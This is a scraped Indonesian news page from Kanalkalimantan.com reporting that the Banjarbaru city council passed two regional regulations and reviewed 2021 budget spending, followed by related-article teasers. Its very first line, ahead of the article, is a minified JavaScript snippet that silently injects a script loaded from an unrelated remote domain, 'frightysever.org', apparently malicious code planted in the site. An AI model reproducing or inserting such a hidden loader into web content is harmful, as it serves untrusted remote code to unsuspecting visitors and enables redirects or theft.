(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dua buah Raperda disepakati DPRD Kota Banjarbaru menjadi Peraturan Daerah (Perda), Senin (20/6/2022).
Dua Rapreda itu adalah tentang penyelenggaraan sistem pemerintahan berbasis elektronik dan penyelenggaraan perizinan berusaha.
“Hari ini kita agendakan pertama pengesahan Raperda, kedua penyampaian Perda dan pertanggungjawaban APBD tahun 2021,” kata Fadliansyah kepada awak media setelah selesai rapat paripurna.
Adapun realisasi APBD tahun 2021 meliputi belanja operasional yang terealisasi sebesar 91,42%, belanja modal sebesar 92,18 %, dan belanja tak terduga sebesar 58,70%.
Baca juga : DPRD Tanbu Setujui Dua Raperda Baru
Sementara itu, Wakil Wali Kota Banjarbaru Wartono menyampaikan terima kasih kepada Pansus DPRD serta eksekutif yang telah bekerjasama menyelesaikan Raperda menjadi Perda.
“Saya mengucapkan terima kasih yang sebesar-besarnya kepada pansus DPRD dan pihak eksekutif yang telah bekerja sama, sehingga dua Raperda bisa disahkan,” ujarnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.